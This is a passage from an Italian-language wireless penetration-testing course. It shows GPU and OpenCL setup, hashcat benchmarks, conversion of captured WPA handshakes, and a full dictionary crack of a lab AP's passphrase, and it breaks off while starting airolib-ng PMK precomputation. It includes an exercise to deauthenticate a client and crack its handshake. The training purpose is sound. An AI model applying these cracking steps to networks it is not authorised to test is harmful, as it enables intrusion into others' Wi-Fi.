4 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Digital_signal_processor ↩︎
5 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Field-programmable_gate_array ↩︎
6 (Wikipedia, 2021), https://en.wikipedia.org/wiki/General-purpose_computing_on_graphics_processing_units ↩︎
7 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Runtime_library ↩︎
7.3.1. OpenCL per GPU
Una opzione è installare OpenCL e usarlo con la potenza di elaborazione della nostra GPU. Ci sono alcuni requisiti per questo approccio: ad esempio, solo GPU AMD, NVIDIA e Intel sono supportate su piattaforme specifiche. Le GPU Mali su ARM sono tecnicamente supportate, ma il supporto OpenCL spesso non è abilitato.
Il cracking con GPU richiede accesso diretto alla GPU per funzionare. Di solito serve un'installazione bare-metal1, usando Windows, Linux o macOS sull'host.
Potremmo considerare la virtualizzazione desktop, nota anche come hypervisor Type-2,2 con Oracle VirtualBox o VMware Workstation/Fusion, ma virtualizza la GPU. Il driver guest non supporta OpenCL, quindi il cracking con GPU non funzionerà.
Usando Linux sull'host, (Linux) Kernel-based Virtual Machines (KVM)3 può consentire l'accesso diretto alla GPU, ma la configurazione è piuttosto articolata.4
Un hypervisor Type-1, noto anche come hypervisor nativo o bare-metal, come Citrix, VMware ESXi o Proxmox,5 di solito consente l'accesso alla GPU. Tuttavia, non sono adatti come desktop perché mancano di un ambiente desktop.
In alternativa, il cracking con GPU è disponibile nel cloud. Rispetto a un sistema interno, i costi orari di un'istanza cloud saranno più alti. Ma non dover affrontare costi d'acquisto, troubleshooting o manutenzione di un sistema fisico potrebbe compensare la spesa.
Possiamo configurare un'istanza cloud GPU regolare e installare driver e runtime OpenCL come su un computer desktop normale, oppure usare un'immagine Kali AWS preconfigurata.6
AWS fattura le istanze a ore mentre sono in esecuzione, quindi dovremmo spegnerle quando non ne abbiamo bisogno. AWS offre istanze in più regioni e i costi, se disponibili, variano da una regione all'altra.
Una volta installato e configurato OpenCL per funzionare con hashcat, localmente o su un'istanza AWS, è il momento di entrare nel vivo.
1 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Bare-metal_server ↩︎
2 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Hypervisor ↩︎
3 (kvm, 2019), https://www.linux-kvm.org ↩︎
4 (archlinux, 2021), https://wiki.archlinux.org/index.php/PCI_passthrough_via_OVMF ↩︎
5 (Proxmos, 2021), https://pve.proxmox.com/wiki/Pci_passthrough ↩︎
6 (Amazon, 2021), https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to ↩︎
7.3.2. Proprietà dei dispositivi
Il comando hashcat -I mostra le specifiche dei dispositivi installati sul nostro sistema Kali e indica che OpenCL è configurato correttamente.
kali@kali:~$ hashcat -I
hashcat (v6.2.6) starting in backend information mode
OpenCL Info:
============
OpenCL Platform ID #1
Vendor..: The pocl project
Name....: Portable Computing Language
Version.: OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG
Backend Device ID #1
Type...........: CPU
Vendor.ID......: 128
Vendor.........: GenuineIntel
Name...........: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
Version........: OpenCL 3.0 PoCL HSTR: cpu-x86_64-pc-linux-gnu-haswell
Processor(s)...: 4
Clock..........: 2400
Memory.Total...: 18931 MB (limited to 4096 MB allocatable in one block)
Memory.Free....: 9433 MB
Local.Memory...: 256 KB
OpenCL.Version.: OpenCL C 1.2 PoCL
Driver.Version.: 6.0+debian
Listato 26 - Visualizzazione delle proprietà di una CPU Skylake con hashcat
C'è un dispositivo elencato, cosa che potrebbe non essere sempre il caso. A volte vengono mostrati due dispositivi. Il Device #1 può usare pocl, che è il portable OpenCL,1 una versione open source dello standard OpenCL. A seconda dell'hardware della macchina, il device #2 può usare Intel OpenCL.
Warning
Non è consigliato usare hashcat per il cracking quando è disponibile solo il portable OpenCL, poiché è molto lento. Usare aircrack-ng al suo posto. Il portable OpenCL è da 4 a 15 volte più lento di aircrack-ng a seconda della CPU usata. D'altra parte, Intel OpenCL ha velocità simili rispetto ad aircrack-ng.
Non raccomandiamo di eseguire hashcat con un dispositivo che usa il portable OpenCL (pocl), poiché è noto per essere instabile.2 Sebbene hashcat possa elencare il portable OpenCL nell'elenco dei dispositivi, lo salterà quando sono disponibili altri runtime OpenCL.
La nostra istanza Amazon AWS P3 mostra i seguenti dispositivi disponibili.
ec2-user@kali:~$ hashcat -I
hashcat (v6.2.6) starting in backend information mode
OpenCL Info:
Platform ID #1
Vendor : NVIDIA Corporation
Name : NVIDIA CUDA
Version : OpenCL 3.0 CUDA 9.1.84
Device ID #1
Type : GPU
Vendor ID : 32
Vendor : NVIDIA Corporation
Name : Tesla V100-SXM2-16GB
Version : OpenCL 1.2 CUDA
Processor(s) : 80
Clock : 1530
Memory : 4040/16160 MB allocatable
OpenCL Version : OpenCL C 1.2
Driver Version : 390.77
Platform ID #2
Vendor : The pocl project
Name....: Portable Computing Language
Version.: OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG
Backend Device ID #1
Type...........: CPU
Vendor.ID......: 128
Vendor.........: GenuineIntel
Name...........: cpu-haswell-Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz
Version........: OpenCL 3.0 PoCL HSTR: cpu-x86_64-pc-linux-gnu-haswell
Processor(s)...: 2
Clock..........: 2295
Memory.Total...: 2943 MB (limited to 512 MB allocatable in one block)
Memory.Free....: 1439 MB
Local.Memory...: 256 KB
OpenCL.Version.: OpenCL C 1.2 PoCL
Driver.Version.: 6.0+debian
Listato 27 - Visualizzazione delle proprietà della CPU e della GPU su un'istanza AWS P3
In questo output, il Device #1 è la Tesla V100 che usa OpenCL da NVIDIA. Sebbene Intel OpenCL fosse installato sulla nostra istanza AWS, non è compatibile con il Device #2, una CPU Intel Xeon. Di conseguenza, sta usando il portable OpenCL.
La CPU Xeon non vale la pena per il cracking, poiché la Tesla V100 è quasi 100 volte più veloce. Se combinassimo GPU e CPU, otterremmo una velocità inferiore rispetto all'uso della V100 da sola.
1 (Portable OpenCL, 2021), http://portablecl.org/ ↩︎
2 (hashcat Issues, 2020), https://github.com/hashcat/hashcat/issues/2344 ↩︎
7.3.3. Benchmark Hashcat
Il benchmarking fornisce una stima della velocità di GPU e/o CPU nel cracking di hash diversi. Ci permette di stimare quanto tempo impiegherà hashcat a scorrere una wordlist e come combinare al meglio le diverse unità di elaborazione disponibili. Ci aiuta inoltre a stimare il costo del cracking, particolarmente importante quando usiamo un'istanza cloud con fatturazione oraria.
L'opzione -b di hashcat senza parametri esegue il benchmark di tutte le modalità hash. Tuttavia, è molto dispendioso in termini di tempo, poiché hashcat ha quasi 250 modalità al momento della stesura. L'opzione --help elenca tutte le modalità hash e possiamo identificare quale benchmarkare specificamente.
kali@kali:~$ hashcat --help
hashcat (v6.2.6) starting in help mode
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
- [ Options ] -
Options Short / Long | Type | Description | Example
================================+======+======================================================+=======================
-m, --hash-type | Num | Hash-type, references below (otherwise autodetect) | -m 1000
-a, --attack-mode | Num | Attack-mode, see references below | -a 3
-V, --version | | Print version |
-h, --help | | Print help |
...
- [ Hash modes ] -
# | Name | Category
======+============================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA2-224 | Raw Hash
1400 | SHA2-256 | Raw Hash
10800 | SHA2-384 | Raw Hash
1700 | SHA2-512 | Raw Hash
...
2500 | WPA-EAPOL-PBKDF2 | Network Protocol
2501 | WPA-EAPOL-PMK | Network Protocol
22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocol
22001 | WPA-PMK-PMKID+EAPOL | Network Protocol
16800 | WPA-PMKID-PBKDF2 | Network Protocol
16801 | WPA-PMKID-PMK | Network Protocol
...
Listato 28 - Visualizzazione dell'help di hashcat
In precedenza avremmo usato 2500, che usa la modalità hash WPA-EAPOL-PBKDF2, ma da allora è deprecata e non funziona correttamente. Fortunatamente c'è un parametro che possiamo usare per eseguirla. Per prima cosa, eseguiamo il benchmark della modalità 2500 con -b -m 2500.
kali@kali:/~$ hashcat -b -m 2500
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz, 9433/18931 MB (4096 MB allocatable), 4MCU
Benchmark relevant options:
===========================
* --optimized-kernel-enable
The plugin 2500 is deprecated and was replaced with plugin 22000. For more details, please read: https://hashcat.net/forum/thread-10253.html
------------------------------------------------------
* Hash-Mode 2500 (WPA-EAPOL-PBKDF2) [Iterations: 4095]
------------------------------------------------------
Speed.#1.........: 14332 H/s (70.79ms) @ Accel:1024 Loops:1024 Thr:1 Vec:8
Started: Sun Jul 21 12:24:09 2024
Stopped: Sun Jul 21 12:24:11 2024
...
Listato 29 - Benchmark della CPU con hashcat
Usando i nuovi hash "WPA-PBKDF2-PMKID+EAPOL", possiamo eseguire il benchmark di questa modalità con -b -m 22000.
kali@kali:~$ hashcat -b -m 22000
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz, 9433/18931 MB (4096 MB allocatable), 4MCU
Benchmark relevant options:
===========================
* --optimized-kernel-enable
-------------------------------------------------------------
* Hash-Mode 22000 (WPA-PBKDF2-PMKID+EAPOL) [Iterations: 4095]
-------------------------------------------------------------
Speed.#1.........: 14251 H/s (71.00ms) @ Accel:1024 Loops:1024 Thr:1 Vec:8
Started: Sun Jul 21 12:24:25 2024
Stopped: Sun Jul 21 12:24:27 2024
Listato 30 - Benchmark con la modalità hash 22000
Hashcat compila i suoi kernel per ottimizzare l'algoritmo prima di eseguire il benchmark. Hashcat stima che la CPU possa testare 14.332 e 14.251 passphrase al secondo per le modalità hash 2500 e 22000, rispettivamente.
Il sito Intel ARK1 rivela che questa CPU ha quattro core e otto thread, il che significa che ha Simultaneous Multithreading (SMT). In questo caso, è lo SMT proprietario Intel chiamato Hyper-Threading (HT).2 Ogni core fisico è diviso in due core logici e, quando possibile, il SO distribuirà il carico su di essi. Questo è vantaggioso quando si eseguono più applicazioni contemporaneamente con un carico medio. Tuttavia, per applicazioni intensive per la CPU, il beneficio è molto minore e, in alcuni casi, può essere inferiore rispetto a non usare SMT.
La macchina virtuale attualmente ha quattro core, come indicato dal numero di MCU. Si potrebbe pensare che la CPU sarebbe in grado di eseguire circa 18.000 passphrase al secondo se tutti gli otto core fossero allocati alla macchina virtuale, ma non è così. Le velocità di benchmark raggiungono solo circa 10.000 passphrase al secondo quando tutti i core virtuali sono allocati.
La maggior parte dei sistemi di raffreddamento dei laptop non regge CPU al 100% per periodi prolungati. In molti casi, la CPU farà throttling e ridurrà la frequenza operativa per restare entro l'envelope termico (TDP)3 e quindi ridurre le prestazioni. In alcuni casi, il sistema si bloccherà perché il sistema di raffreddamento non riesce a dissipare il calore abbastanza rapidamente. Lo stesso vale quando si usa aircrack-ng.
Le schede ARM spesso vengono vendute senza alcun sistema di raffreddamento e alcune si bloccheranno se usate per un breve periodo a pieno carico.
Lo stesso vale per le GPU, poiché la maggior parte ha un raffreddamento inadeguato e richiederà la regolazione dei parametri di hashcat. Le GPU nei laptop hanno tipicamente prestazioni inferiori rispetto alle equivalenti desktop a causa dei limiti di raffreddamento, con specifiche hardware diverse.
Sull'istanza AWS, hashcat userà la GPU e ciò produce 850.400 passphrase al secondo.
ec2-user@kali:~$ hashcat -b -m 2500
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz, 1439/2943 MB (512 MB allocatable), 2MCU
Benchmark relevant options:
===========================
* --optimized-kernel-enable
The plugin 2500 is deprecated and was replaced with plugin 22000. For more details, please read: https://hashcat.net/forum/thread-10253.html
------------------------------------------------------
* Hash-Mode 2500 (WPA-EAPOL-PBKDF2) [Iterations: 4095]
------------------------------------------------------
Speed.#1.........: 1619 H/s (28.62ms) @ Accel:256 Loops:1024 Thr:1 Vec:8
Started: Sun Jul 21 20:46:52 2024
Stopped: Sun Jul 21 20:47:43 2024
Listato 31 - Benchmark di un'istanza AWS P3 con modalità hash 2500
Hashcat consente l'uso di un dispositivo specifico con l'opzione -d (o la sua versione long, --opencl-devices).
Consente anche l'uso di un tipo di dispositivo specifico (CPU, GPU o FPGA, DSP e co-processori) con -D (o la sua versione long, --opencl-device-types).
Possiamo eseguire lo stesso benchmark sulla modalità hash 22000
ec2-user@kali:~$ hashcat -b -m 22000
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz, 1439/2943 MB (512 MB allocatable), 2MCU
Benchmark relevant options:
===========================
* --optimized-kernel-enable
-------------------------------------------------------------
* Hash-Mode 22000 (WPA-PBKDF2-PMKID+EAPOL) [Iterations: 4095]
-------------------------------------------------------------
Speed.#1.........: 4716 H/s (26.84ms) @ Accel:256 Loops:1024 Thr:1 Vec:8
Started: Sun Jul 21 20:48:22 2024
Stopped: Sun Jul 21 20:48:56 2024
Listato 32 - Benchmark di un'istanza AWS P3 con modalità hash 22000
Qui possiamo vedere che la modalità hash 22000 è molto più veloce con 4.716 passphrase al secondo rispetto alla modalità hash 2500 con 1.619 passphrase al secondo. Naturalmente questo è solo un'istantanea nel tempo e questi risultati possono variare.
In entrambi i casi, possiamo usare più dispositivi o tipi di dispositivo. Queste due opzioni possono essere utili quando il sistema deve elaborare più job di password cracking in parallelo.
1 (Intel, 2015), https://ark.intel.com/products/88967/Intel-Core-i7-6700HQ-Processor-6M-Cache-up-to-3_50-GHz ↩︎
2 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Hyper-threading ↩︎
3 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Thermal_design_power ↩︎
7.3.4. Utility Hashcat
Hashcat fornisce più di due dozzine di piccole utility utili per il password cracking. Non sono installate per impostazione predefinita ma sono disponibili tramite il pacchetto hashcat-utils.
Listato 33 - Installazione delle utility hashcat
Dopo l'installazione, queste utility si trovano in /usr/lib/hashcat-utils. Una utility particolarmente rilevante per i nostri scopi è cap2hccapx. Esporta handshake WPA da file PCAP in HCCAPx, un formato usato dalla modalità hash 2500 in hashcat per handshake WPA/WPA2. Non funzionerà per la modalità hash 22000. Accetta i parametri nel seguente ordine.
- Nome del file di cattura in input
- Nome del file HCCAPx in output
- Opzionalmente, un ESSID per filtrare handshake indesiderati quando nel file di cattura sono presenti handshake di reti diverse, o per indicare l'ESSID quando non sono stati catturati beacon
- Se non sono stati catturati beacon, il nome della rete seguito dal BSSID nel formato "ESSID:BSSID"
Nel seguente esempio, convertiamo wifu-01.cap in output.hccapx.
kali@kali:~$ /usr/lib/hashcat-utils/cap2hccapx.bin wifu-01.cap output.hccapx
Networks detected: 1
[*] BSSID=34:08:04:09:3d:38 ESSID=wifu (Length: 4)
--> STA=00:18:4d:1d:a8:1f, Message Pair=0, Replay Counter=1
--> STA=00:18:4d:1d:a8:1f, Message Pair=2, Replay Counter=1
Written 2 WPA Handshakes to: output.hccapx
Listato 34 - Conversione da PCAP a hccapx per hashcat
Sebbene sia preferibile, non tutti e quattro i frame EAPoL1 di un handshake sono necessari. In questo caso, l'intero handshake è stato catturato e, poiché frame EAPoL diversi nell'handshake contengono le stesse informazioni, hashcat è in grado di produrne "2 WPA Handshakes".
Tip
Nota che aircrack-ng può anche usare file .hccapx come input per il cracking.
Possiamo trovare la documentazione per le altre utility nella pagina dedicata nel wiki di hashcat.2
1 (Wikipedia, 2021), https://en.wikipedia.org/wiki/IEEE_802.11i-2004#Protocol_operation ↩︎
2 (hashcat, 2021), https://hashcat.net/wiki/doku.php?id=hashcat_utils ↩︎
7.3.5. Cracking di passphrase con Hashcat
Usando la modalità hash WPA, crackeremo il file generato da cap2hccapx con la wordlist predefinita di JtR. Poiché 2500 è deprecata, eseguirla direttamente ci darà un errore. Possiamo aggirare questo errore con il parametro --deprecated-check-disable.
kali@kali:~$ hashcat -m 2500 --deprecated-check-disable output.hccapx /usr/share/john/password.lst
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz, 9433/18931 MB (4096 MB allocatable), 4MCU
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/john/password.lst
* Passwords.: 3559
* Bytes.....: 26326
* Keyspace..: 3559
* Runtime...: 0 secs
Approaching final keyspace - workload adjusted.
18a6f760c1a6:64200cd2c98e:wifu:12345678
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 2500 (WPA-EAPOL-PBKDF2)
Hash.Target......: wifu (AP:18:a6:f7:60:c1:a6 STA:64:20:0c:d2:c9:8e)
Time.Started.....: Sun Jul 21 01:08:33 2024 (0 secs)
Time.Estimated...: Sun Jul 21 01:08:33 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/john/password.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 10097 H/s (3.66ms) @ Accel:512 Loops:256 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3559/3559 (100.00%)
Rejected.........: 2920/3559 (82.05%)
Restore.Point....: 0/3559 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: #!comment: -> newcourt
Hardware.Mon.#1..: Util: 33%
Started: Sun Jul 21 01:08:32 2024
Stopped: Sun Jul 21 01:08:35 2024
kali@kali:~$
...
Listato 35 - Cracking con hashcat
L'output mostra che hashcat ha crackato con successo il nostro hash WPA con i risultati visualizzati nel seguente formato separato da due punti.
- BSSID: 18a6f760c1a6
- Indirizzo MAC del client: 64200cd2c98e
- ESSID: wifu
- Passphrase: 12345678
Il motivo per cui non possiamo usare cap2hccapx con la modalità hash 22000 è che quando abbiamo usato cap2hccapx.bin per creare il nostro file output.hccapx, viene creato un file in formato binario. Questo formato binario non funziona con la nuova modalità hash 22000.
Per usare la modalità 22000 dobbiamo convertire il nostro file wifi-01.cap nel formato corretto. Ci sono due modi per farlo. Il primo metodo consiste nel caricare il nostro file su https://hashcat.net/cat2hashcat.
Figura 1: Caricamento del file pcap
Qui selezioniamo Browse e scegliamo il nostro wifi-01.cap, poi selezioniamo Convert. Veniamo portati alla seconda pagina, dove compare "Handshake extraction successful" e possiamo selezionare Download e salvare il file.
Figura 2: Download del file hc2000
La seconda opzione è usare l'applicazione hcxtools. Questo evita di dover caricare un file. Per prima cosa, dobbiamo installarla.
kali@kali:~$ sudo apt install hcxtools
Installing:
hcxtools
Installing dependencies:
hcxdumptool
Summary:
Upgrading: 0, Installing: 2, Removing: 0, Not Upgrading: 0
Download size: 250 kB
Space needed: 774 kB / 54.0 GB available
...
Listato 36 - Installazione di Hcxtools
Ora che abbiamo installato hcxtools, useremo l'applicazione hcxpcapngtool. Lo scopo è mettere i dati del file pcap nel formato corretto per hashcat. Esaminiamo rapidamente il manuale di help.
kali@kali:~$ hcxpcapngtool -h
hcxpcapngtool 6.2.7 (C) 2022 ZeroBeat
convert pcapng, pcap and cap files to hash formats that hashcat and JtR use
usage:
hcxpcapngtool <options>
hcxpcapngtool <options> input.pcapng
hcxpcapngtool <options> *.pcapng
hcxpcapngtool <options> *.pcap
hcxpcapngtool <options> *.cap
hcxpcapngtool <options> *.*
...
Recommended tools to show additional 802.11 fields or to decrypt WiFi traffic: Wireshark and/or tshark
Recommended tool to filter converted hash by several options: hcxhashtool
Recommended tool to get default or standard PSKs: hcxpsktool
Recommended tool to calculate wordlists based on ESSID: hcxeiutool
Recommended tools to retrieve PSK from hash: hashcat, JtR
Listato 37 - Consultazione del manuale di help di Hcxpcapngtool
Ottimo, questo ci dice esattamente cosa dobbiamo fare per convertire il file. Proviamo sul nostro file wifu-01.cap.
kali@kali:~$ hcxpcapngtool -o hash.hc22000 wifu-01.cap
hcxpcapngtool 6.2.7 reading from wifu-01.cap...
summary capture file
--------------------
file name................................: wifu-01.cap
version (pcap/cap).......................: 2.4 (very basic format without any additional information)
timestamp minimum (GMT)..................: 20.07.2024 23:30:17
timestamp maximum (GMT)..................: 20.07.2024 23:30:48
used capture interfaces..................: 1
link layer header type...................: DLT_IEEE802_11 (105) very basic format without any additional information about the quality
endianness (capture system)...............: little endian
packets inside...........................: 385
ESSID (total unique).....................: 3
BEACON (total)...........................: 1
BEACON on 2.4 GHz channel (from IE_TAG)..: 3
ACTION (total)...........................: 5
PROBEREQUEST.............................: 75
PROBERESPONSE (total)....................: 63
AUTHENTICATION (total)...................: 2
AUTHENTICATION (OPEN SYSTEM).............: 2
ASSOCIATIONREQUEST (total)...............: 1
ASSOCIATIONREQUEST (PSK).................: 1
WPA encrypted............................: 18
EAPOL messages (total)...................: 5
EAPOL WPA messages.......................: 5
EAPOLTIME gap (measured maximum usec)....: 5266
EAPOL ANONCE error corrections (NC)......: not detected
EAPOL M1 messages (total)................: 2
EAPOL M2 messages (total)................: 1
EAPOL M3 messages (total)................: 1
EAPOL M4 messages (total)................: 1
EAPOL pairs (total)......................: 3
EAPOL pairs (best).......................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)
EAPOL M32E2 (authorized).................: 1
...
session summary
---------------
processed cap files...................: 1
kali@kali:~$
Listato 38 - Utilizzo di Hcxpcapngtool per convertire il file
Indipendentemente da quale file eseguiamo con hashcat, otterremo i risultati della password crackata. Qui useremo il file creato con hcxpcapngtool.
kali@kali:~$ hashcat -a 0 -m 22000 hash.hc22000 /usr/share/john/password.lst
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz, 9433/18931 MB (4096 MB allocatable), 4MCU
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/john/password.lst
* Passwords.: 3562
* Bytes.....: 26352
* Keyspace..: 3562
2442679d425b0d1c44d23de553a7cb5b:18a6f760c1a6:64200cd2c98e:wifu:12345678
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hash.hc22000
Time.Started.....: Sun Jul 21 01:41:02 2024 (0 secs)
Time.Estimated...: Sun Jul 21 01:41:02 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/john/password.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 11941 H/s (10.23ms) @ Accel:128 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2705/3562 (75.94%)
Rejected.........: 2193/2705 (81.07%)
Restore.Point....: 0/3562 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: #!comment: -> overkill
Hardware.Mon.#1..: Util: 33%
Started: Sun Jul 21 01:41:01 2024
Stopped: Sun Jul 21 01:41:04 2024
kali@kali:~$
Listato 38 - Utilizzo di Hcxpcapngtool per convertire il file
Esaminiamo l'output.
- Hash di nonce e BSSID: 2442679d425b0d1c44d23de553a7cb5b
- BSSID: 18a6f760c1a6
- Indirizzo MAC del client: 64200cd2c98e
- ESSID: wifu
- Passphrase: 12345678
Questo output è quasi identico a quello che abbiamo ricevuto quando abbiamo eseguito la modalità hash 2500 deprecata.
L'importante è che abbiamo crackato con successo la passphrase WPA usando sia la modalità hash 2500 deprecata sia la modalità hash 22000 attuale.
Hashcat crea automaticamente una sessione mentre è in esecuzione, che possiamo interrompere usando q o Ctrl+C. Per ripristinare la sessione, eseguiamo hashcat con le opzioni --session hashcat e --restore. La sessione si chiama "hashcat" per impostazione predefinita ma può essere rinominata con --session seguito da un nome.
A meno che non sia disabilitato con --potfile-disable, viene creato un potfile con la passphrase crackata e si trova in ~/.hashcat/hashcat.potfile per impostazione predefinita. Un percorso diverso può essere specificato con --potfile-path. Possiamo facilmente eliminare il nostro potfile usando rm ~/.hashcat/hashcat.potfile.
Esercizi
Configura il tuo AP con crittografia WPA/WPA2 PSK e usa una passphrase da /usr/share/john/password.lst. Riconfigura il client vittima per connettersi all'AP.
- Metti la scheda wireless in modalità monitor e avvia una cattura con airodump-ng.
- Deautentica il client vittima e assicurati di aver catturato l'handshake WPA a 4 vie.
- Converti l'handshake a 4 vie in HCCAPx.
- Cracka la passphrase WPA usando hashcat.
7.4. Airolib-ng
Airolib-ng è uno strumento progettato per archiviare e gestire elenchi di ESSID e password, calcolare le loro Pairwise Master Keys (PMK) e usarle per crackare passphrase WPA e WPA2 PSK. Usa il database leggero SQLite3 come meccanismo di archiviazione, disponibile sulla maggior parte delle piattaforme.
Il cracking WPA comporta il calcolo della PMK, da cui deriva la Pairwise Transient Key (PTK) per la sessione. Calcolare la PMK è molto lento; tuttavia, la PMK è sempre la stessa per una data combinazione di ESSID e passphrase. Ciò ci permette di pre-calcolare la PMK per combinazioni date per accelerare il cracking dell'handshake WPA/WPA2. Usando questa tecnica, aircrack-ng può verificare più di 50000 password al secondo usando tabelle PMK pre-calcolate.
7.4.1. Utilizzo di Airolib-ng
Per iniziare a usare airolib-ng, dobbiamo prima creare un file di testo contenente l'ESSID del nostro AP target.
Listato 39 - Aggiunta dell'ESSID target a un file
Il passo successivo è importare il file di testo ESSID nel database airolib-ng. Usando un database denominato wifu.sqlite, usiamo l'opzione --import essid con il file ESSID, essid.txt. Se il database non esiste già, verrà creato automaticamente.
kali@kali:~$ airolib-ng wifu.sqlite --import essid essid.txt
Database <wifu.sqlite> does not already exist, creating it...
Database <wifu.sqlite> successfully created
Reading file...
Writing...
Done.
Listato 40 - Importazione dell'ESSID con airolib-ng
Passando --stats ad airolib-ng vengono visualizzate informazioni sul nostro database, inclusi gli ESSID e il numero di password archiviate.
kali@kali:~$ airolib-ng wifu.sqlite --stats
There are 1 ESSIDs and 0 passwords in the database. 0 out of 0 possible combinations have been computed (0%).
ESSID Priority Done
wifu 64 (null)
Listato 41 - Visualizzazione delle statistiche del database airolib-ng
Abbiamo importato l'ESSID con successo, ma il database non contiene ancora password. Importiamo la piccola wordlist inclusa con John the Ripper con --import passwd e il percorso della wordlist.
kali@kali:~$ airolib-ng wifu.sqlite --import passwd /usr/share/john/password.lst
Reading file...
Writing... read, 2539 invalid lines ignored.
Done.
Listato 42 - Importazione delle password nel database airolib-ng
Nell'output sopra, un certo numero di righe è stato ignorato nella wordlist. Questo perché non tutte le voci sono idonee a essere usate come password WPA, che devono avere una lunghezza tra otto e 63 caratteri.
Con l'ESSID di rete e l'elenco password importati, possiamo far elaborare in batch ad airolib-ng tutte le PMK corrispondenti usando --batch. Una volta generate, possiamo usare queste PMK contro AP che hanno lo stesso ESSID.
kali@kali:~$ airolib-ng wifu.sqlite --batch
